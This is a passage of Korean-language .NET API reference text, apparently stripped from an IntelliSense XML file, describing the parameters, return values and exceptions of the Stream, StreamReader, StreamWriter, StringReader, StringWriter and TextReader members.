취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림에서 바이트를 읽고 스트림 내 위치를 한 바이트씩 앞으로 이동하거나 스트림 끝일 경우 -1을 반환합니다. + Int32로 캐스팅된 부호 없는 바이트이거나 스트림의 끝에 있는 경우 -1입니다. + 스트림이 읽기를 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 읽기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 읽기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 파생 클래스를 재정의될 때 현재 스트림 내의 위치를 설정합니다. + 현재 스트림 내의 새 위치입니다. + + 매개 변수에 상대적인 바이트 오프셋입니다. + 새 위치를 가져오는 데 사용되는 참조 위치를 나타내는 형식의 값입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우 스트림은 검색을 지원하지 않습니다. + 스트림이 닫힌 후 메서드가 호출된 경우 + 1 + + + 파생 클래스에 재정의될 때 현재 스트림의 길이를 설정합니다. + 원하는 현재 스트림의 길이(바이트)입니다. + I/O 오류가 발생하는 경우 + 예를 들어, 스트림이 파이프 또는 콘솔 출력에서 생성되는 경우처럼 스트림이 쓰기와 검색을 모두 지원하지 않는 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 파생 클래스를 재정의될 때 현재 스트림에 바이트의 시퀀스를 쓰고 쓰여진 바이트 수만큼 이 스트림 내에서 앞으로 이동합니다. + 바이트 배열입니다.이 메서드는 의 바이트를 현재 스트림으로 복사합니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 현재 스트림에 쓸 바이트 수입니다. + 총  및  버퍼 길이 보다 큽니다. + + null입니다. + + 또는  음수입니다. + 지정된 된 파일을 찾을 수 없는 같은 I/O 오류가 발생 합니다. + 스트림이 쓰기를 지원하지 않습니다. + + 스트림이 닫힌 후 호출 되었습니다. + 1 + + + 현재 스트림에 바이트 시퀀스를 비동기적으로 쓰고 쓴 바이트 수만큼 이 스트림에서 현재 위치를 앞으로 이동합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 스트림의 현재 위치에 바이트를 쓰고 스트림 내 위치를 1바이트씩 앞으로 이동합니다. + 스트림에 쓸 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + 스트림이 닫힌 후 메서드가 호출된 경우 + 2 + + + 스트림이 시간 초과 전 쓰기를 시도할 기간을 결정하는 값(밀리초)을 가져오거나 설정합니다. + 스트림 쓰기 시도가 만료되기 전까지 기다릴 시간을 결정하는 값(밀리초 단위)입니다. + + 메서드는 항상 을 throw합니다. + 2 + + + 특정 인코딩의 바이트 스트림에서 문자를 읽는 를 구현합니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 1 + + + 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정한 바이트 순서 표시 검색 옵션을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 가 null인 경우 + + + 지정된 문자 인코딩을 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션을 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + + 이 읽기를 지원하지 않는 경우 + + 또는 가 null인 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 사용하여 특정 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾을지 여부를 나타냅니다. + 최소 버퍼 크기입니다. + 스트림이 읽기를 지원하지 않습니다. + + 또는 가 null인 경우 + + 가 0보다 작거나 같은 경우 + + + 지정된 문자 인코딩과 바이트 순서 표시 검색 옵션, 버퍼 크기를 기반으로 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 읽을 스트림입니다. + 사용할 문자 인코딩입니다. + 파일의 시작 부분에서 바이트 순서 표시를 찾으려면 true이고, 찾지 않으려면 false입니다. + 최소 버퍼 크기입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + + + 내부 스트림을 반환합니다. + 내부 스트림입니다. + 2 + + + 현재 개체에서 사용 중인 현재 문자 인코딩을 가져옵니다. + 현재 판독기에서 사용하는 문자 인코딩입니다. 메서드를 처음으로 호출할 때 인코딩이 자동으로 검색되므로 의 메서드를 처음으로 호출하면 값이 달라질 수 있습니다. + 2 + + + 내부 버퍼를 지웁니다. + 2 + + + 내부 스트림을 닫고 에서 사용하는 관리되지 않는 리소스를 해제하고 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 스트림 위치가 스트림의 끝에 있는지를 나타내는 값을 가져옵니다. + 현재 스트림 위치가 스트림의 끝에 있으면 true이고, 없으면 false입니다. + 내부 스트림이 삭제된 경우 + 1 + + + 빈 스트림 주위의 개체입니다. + 1 + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 읽을 문자가 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 입력 스트림에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + + 개체로 표시되는 입력 스트림의 다음 문자이거나, 사용할 수 있는 문자가 더 이상 없는 경우에는 -1입니다. + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 지정된 최대 문자를 지정된 인덱스부터 버퍼로 읽어 들입니다. + 읽은 문자 수를 반환하거나 스트림의 끝에 있고 읽은 데이터가 없으면 0을 반환합니다.이 수는 스트림 내에서 데이터를 사용할 수 있는지 여부에 따라 매개 변수보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 인덱스입니다. + 읽을 최대 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫히는 등의 I/O 오류가 발생한 경우 + 1 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 현재 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 모든 입력 문자를 읽었는지 여부에 따라 보다 작거나 같습니다. + 이 메서드는 지정된 문자 배열의 값이 및 () 사이에서 현재 원본으로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 스트림의 끝에 도달하면 메서드가 반환됩니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 스트림에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 입력 스트림의 다음 줄을 반환하거나 입력 스트림의 끝에 도달한 경우 null을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 스트림에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 스트림의 다음 줄을 포함하거나 모든 문자를 읽은 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 스트림 끝까지의 모든 문자를 읽습니다. + 현재 위치부터 끝까지의 나머지 스트림은 문자열입니다.현재 위치가 스트림 끝에 있으면 빈 문자열("")을 반환합니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 위치부터 스트림 끝까지의 모든 문자를 비동기적으로 읽어서 이를 하나의 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 스트림 끝까지 있는 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + + 를 구현하여 특정 인코딩의 스트림에 문자를 씁니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 참조 원본. + 1 + + + UTF-8 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대해 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + + 에 쓸 수 없는 경우 + + 가 null인 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + + 또는 가 null인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화합니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + 지정된 인코딩과 기본 버퍼 크기를 사용하여 지정된 스트림에 대한 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 쓸 스트림입니다. + 사용할 문자 인코딩입니다. + 버퍼 크기(바이트)입니다. + true to leave the stream open after the object is disposed; otherwise, false. + + 또는 가 null인 경우 + + 가 음수인 경우 + + 에 쓸 수 없는 경우 + + + + 가 를 호출할 때마다 해당 버퍼를 내부 스트림에 플러시할지 여부를 나타내는 값을 가져오거나 설정합니다. + + 가 해당 버퍼를 플러시하게 하려면 true이고, 그렇지 않으면 false입니다. + 1 + + + 백업 저장소의 인터페이스 역할을 하는 내부 스트림을 가져옵니다. + 이 StreamWriter가 쓰고 있는 스트림입니다. + 2 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + + + 출력이 쓰여질 을 가져옵니다. + 현재 인스턴스에 대해 생성자에 지정된 이거나, 인코딩이 지정되지 않은 경우 입니다. + 2 + + + 현재 writer의 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 스트림에 쓰여집니다. + 현재 writer가 닫힌 경우 + I/O 오류가 발생한 경우 + 현재 인코딩으로 유니코드 서로게이트 쌍의 한 쪽을 표시할 수 없는 경우 + 1 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 버퍼링된 모든 데이터가 내부 장치에 비동기적으로 쓰여지도록 합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 스트림이 삭제된 경우 + + + StreamWriter에 쓸 수는 있지만 읽을 수는 없는 백업 저장소를 제공하지 않습니다. + 1 + + + 스트림에 문자를 씁니다. + 스트림에 쓸 문자입니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자의 하위 배열을 씁니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + 1 + + + 스트림에 문자열을 씁니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + + 가 true이거나 버퍼가 꽉 차 있고, 현재 작성기가 닫혀 있는 경우 + + 가 true이거나 버퍼가 꽉 차 있고, 가 스트림 끝에 있기 때문에 버퍼 내용을 내부 고정 크기 스트림에 쓸 수 없는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 데이터 읽기를 시작할 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열을 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자열입니다.가 null이면 아무 것도 쓰여지지 않습니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 줄 종결자를 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 스트림에 쓸 문자입니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 문자 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null인 경우 + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 스트림에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 스트림 작성기가 삭제됩니다. + 이전 쓰기 작업에서 현재 스트림 작성기를 사용하고 있습니다. + + + 문자열에서 읽어오는 를 구현합니다. + 2 + + + 지정된 문자열에서 읽어오는 클래스의 새 인스턴스를 초기화합니다. + + 가 초기화되어야 하는 문자열입니다. + + 매개 변수가 null인 경우 + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제할 수 있습니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 사용할 수 있는 다음 문자를 반환하지만 사용하지는 않습니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1입니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 내부 문자열의 다음 문자를 반환하거나, 사용할 수 있는 문자가 더 이상 없으면 -1을 반환합니다. + 현재 판독기가 닫힌 경우 + 2 + + + 입력 문자열에서 문자 블록을 읽은 다음 문자 위치를 씩 앞으로 이동합니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 현재 문자가 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 내부 문자열의 끝에 도달하면 0이 됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 버퍼의 시작 인덱스입니다. + 읽을 문자 수입니다. + + 가 null입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 지정된 최대 수의 문자를 비동기적으로 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 문자열의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 읽어온 문자로 교체된 상태로 반환됩니다. + 쓰기를 시작할 의 위치입니다. + 읽을 최대 문자 수입니다.지정한 문자 수를 버퍼에 기록하기 전에 문자열의 끝에 도달하면 메서드가 반환됩니다. + + 가 null입니다. + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 문자열에서 한 줄의 문자를 읽고 데이터를 문자열로 반환합니다. + 현재 문자열의 다음 줄 또는 문자열의 끝에 도달한 경우 null입니다. + 현재 판독기가 닫힌 경우 + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 2 + + + 현재 문자열에서 한 줄의 문자를 비동기적으로 읽고 데이터를 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 문자열 판독기의 다음 줄을 포함하거나 모든 문자가 읽혀진 경우에는 null입니다. + 다음 줄의 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 현재 위치부터 문자열 끝까지의 모든 문자를 읽어서 이를 단일 문자열로 반환합니다. + 내부 문자열의 현재 위치에서 끝까지의 내용입니다. + 반환된 문자열을 위한 버퍼를 할당할 메모리가 부족한 경우 + 현재 판독기가 닫힌 경우 + 2 + + + 현재 위치부터 문자열 끝까지의 모든 문자를 비동기적으로 읽어서 이를 단일 문자열로 반환합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 현재 위치에서 문자열 끝까지의 문자로 이루어진 문자열을 포함합니다. + 문자 수가 보다 큽니다. + 문자열 판독기가 삭제된 경우 + 이전 읽기 작업에서 판독기를 현재 사용하고 있습니다. + + + 정보를 문자열로 쓰기 위한 를 구현합니다.정보는 내부 에 저장됩니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정한 형식 제어를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 형식 지정을 제어하는 개체입니다. + + + 지정한 에 쓰는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + + 가 null입니다. + + + 지정한 에 쓰고 지정한 서식 공급자를 갖는 클래스의 새 인스턴스를 초기화합니다. + 작성할 StringBuilder입니다. + 형식 지정을 제어하는 개체입니다. + + 가 null입니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 출력이 쓰여질 을 가져옵니다. + 출력이 쓰여질 Encoding입니다. + 1 + + + 현재 작성기에 대한 모든 버퍼를 비동기적으로 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 비동기 플러시 작업을 나타내는 작업입니다. + + + 내부 를 반환합니다. + 내부 StringBuilder입니다. + 2 + + + 현재 StringWriter에 지금까지 쓰여진 문자가 포함된 문자열을 반환합니다. + 현재 StringWriter에 쓰여진 문자가 포함된 문자열입니다. + 2 + + + 문자를 문자열에 씁니다. + 쓸 문자입니다. + 작성기가 닫힌 경우 + 2 + + + 문자의 하위 배열을 문자열에 씁니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 또는 가 음수인 경우 + ( + )> 인 경우Length. + 작성기가 닫힌 경우 + 2 + + + 문자를 현재 문자열에 씁니다. + 쓸 문자열입니다. + 작성기가 닫힌 경우 + 2 + + + 문자를 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열을 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자를 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.가 null이면 텍스트 스트림에 아무 것도 쓰여지지 않습니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자와 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 문자열에 쓸 문자입니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자의 하위 배열과 줄 종결자를 차례로 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 데이터가 있는 문자 배열입니다. + 데이터 읽기를 시작하는 버퍼의 위치입니다. + 쓸 최대 문자 수입니다. + + 가 null입니다. + + 와 의 합이 버퍼 길이보다 큽니다. + + 또는 가 음수인 경우 + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 문자열과 줄 종결자를 차례로 현재 문자열에 비동기적으로 씁니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 쓸 문자열입니다.값이 null이면 줄 종결자만 쓰여집니다. + 문자열 작성기가 삭제됩니다. + 이전 쓰기 작업에서 문자열 작성기를 현재 사용하고 있습니다. + + + 여러 개의 문자를 순차적으로 읽을 수 있는 판독기를 나타냅니다. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 해당 개체에서 사용하는 리소스를 모두 해제합니다. + + + + 가 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + TextReader에 읽을 데이터를 제공하지 않습니다. + 1 + + + 문자 소스나 판독기의 상태를 변경하지 않고 다음 문자를 읽습니다.판독기에서 실제로 읽지 않고 사용 가능한 다음 문자를 반환합니다. + 읽을 다음 문자를 나타내는 정수이거나, 사용할 수 있는 문자가 더 이상 없거나 판독기에서 검색을 지원하지 않을 경우 -1입니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 텍스트 판독기에서 다음 문자를 읽고 문자 위치를 한 문자씩 앞으로 이동합니다. + 텍스트 판독기의 다음 문자 또는 사용할 수 있는 문자가 더 이상 없는 경우 -1입니다.기본 구현된 경우에는 -1을 반환합니다. + + 가 닫힌 경우 + I/O 오류가 발생하는 경우 + 1 + + + 현재 판독기에서 지정된 최대 수의 문자를 읽어 이 데이터를 지정된 인덱스에서 시작되는 버퍼에 씁니다. + 읽은 문자 수입니다.이 문자 수는 판독기 내에서 데이터를 사용할 수 있는지 여부에 따라 보다 작거나 같습니다.읽을 문자가 더 이상 없는 경우에 이 메서드를 호출하면 0이 반환됩니다. + 이 메서드는 지정된 문자 배열의 값이 및 ( + - 1) 사이에서 현재 소스로부터 